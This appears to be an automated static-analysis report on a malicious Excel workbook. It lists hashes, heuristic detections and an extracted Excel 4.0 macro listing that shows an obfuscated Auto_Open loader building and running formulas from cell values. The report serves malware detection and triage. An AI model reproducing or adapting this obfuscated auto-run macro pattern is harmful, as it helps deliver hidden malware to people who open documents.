Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ae5bfca6669ba7e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:58 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 8852ee861bc6accb0ef2799ae2131245 SHA-1: b19e4e287f82defcc8e82ce7ad88dea32594158d SHA-256: 6ae5bfca6669ba7ebd95aeb03ee6396654123eb95e66cad19645eb8bf23fc3bf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6554 bytes
SHA-256: 10102e3e001a50406c6c0f7cbbeeb7855ec456e0a32c5d54b3a8ca1c60112992
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uxeLXjIQO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A147 
' 0018     22 LABEL : Cell Value, String Constant - AYqJvsW len=0 
' 0018     22 LABEL : Cell Value, String Constant - egOkuTS len=0 
' 0018     26 LABEL : Cell Value, String Constant - FxyguhfyxPp len=0 
' 0018     21 LABEL : Cell Value, String Constant - hhFXXK len=0 
' 0018     20 LABEL : Cell Value, String Constant - hLixo len=0 
' 0018     22 LABEL : Cell Value, String Constant - HzTrCsI len=0 
' 0018     24 LABEL : Cell Value, String Constant - JBHVcBXXk len=0 
' 0018     21 LABEL : Cell Value, String Constant - jQgvAT len=0 
' 0018     24 LABEL : Cell Value, String Constant - JsDLCnIAV len=0 
' 0018     27 LABEL : Cell Value, String Constant - lAhLCCLfEZIW len=0 
' 0018     20 LABEL : Cell Value, String Constant - LvVqm len=0 
' 0018     24 LABEL : Cell Value, String Constant - nicSPoOBF len=0 
' 0018     25 LABEL : Cell Value, String Constant - oDfAQnsddg len=0 
' 0018     27 LABEL : Cell Value, String Constant - ohpWSlIJBUDh len=0 
' 0018     25 LABEL : Cell Value, String Constant - pIqovkzles len=0 
' 0018     27 LABEL : Cell Value, String Constant - pJRHHzfVlzzA len=0 
' 0018     23 LABEL : Cell Value, String Constant - RVylfApx len=0 
' 0018     26 LABEL : Cell Value, String Constant - xkLmoMfCnMd len=0 
' 0018     20 LABEL : Cell Value, String Constant - yebXQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZyGmfpW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uxeLXjIQO,A51,"SET.NAME("jQgvAT",VALUE("0"))",""
'  uxeLXjIQO,A55,"SET.NAME("oDfAQnsddg",jQgvAT)",""
'  uxeLXjIQO,A60,"SET.NAME("JBHVcBXXk",jQgvAT)",""
'  uxeLXjIQO,A63,"SET.NAME("HzTrCsI",COUNTA(nicSPoOBF))",""
'  uxeLXjIQO,A66,"SET.NAME("FxyguhfyxPp",COUNTA(LvVqm))",""
'  uxeLXjIQO,A69,[],""
'  uxeLXjIQO,A71,"SET.NAME("ZyGmfpW","")",""
'  uxeLXjIQO,A74,"oDfAQnsddg",""
'  uxeLXjIQO,A79,"SET.NAME("ohpWSlIJBUDh",HLOOKUP("*",nicSPoOBF,oDfAQnsddg,FALSE))",""
'  uxeLXjIQO,A84,"egOkuTS",""
'  uxeLXjIQO,A88,"SET.NAME("yebXQ",jQgvAT)",""
'  uxeLXjIQO,A93,[],""
'  uxeLXjIQO,A97,"yebXQ",""
'  uxeLXjIQO,A101,"RVylfApx",""
'  uxeLXjIQO,A104,"AYqJvsW",""
'  uxeLXjIQO,A106,"pIqovkzles",""
'  uxeLXjIQO,A109,"SET.NAME("hhFXXK",VALUE(HLOOKUP("*",LvVqm,pIqovkzles,FALSE)))",""
'  uxeLXjIQO,A113,"lAhLCCLfEZIW",""
'  uxeLXjIQO,A116,"ZyGmfpW",""
'  uxeLXjIQO,A120,"JBHVcBXXk",""
'  uxeLXjIQO,A124,NEXT(),""
'  uxeLXjIQO,A129,"pJRHHzfVlzzA",""
'  uxeLXjIQO,A134,"SET.NAME("f",INT(T(FORMULA(T(ZyGmfpW)&"",""&T(pJRHHzfVlzzA)))))",""
'  uxeLXjIQO,A139,"hLixo",""
'  uxeLXjIQO,A141,NEXT(),""
'  uxeLXjIQO,A143,RETURN(),""
'  uxeLXjIQO,A172,"SET.NAME("JsDLCnIAV",A51)",""
'  uxeLXjIQO,A175,"nicSPoOBF",""
'  uxeLXjIQO,A179,"SET.NAME("LvVqm",R72C15)",""
'  uxeLXjIQO,A181,"SET.NAME("hLixo",186)",""
'  uxeLXjIQO,A183,"SET.NAME("xkLmoMfCnMd",1)",""
'  uxeLXjIQO,A185,JsDLCnIAV(),""
'  uxeLXjIQO,A186,HALT(),""

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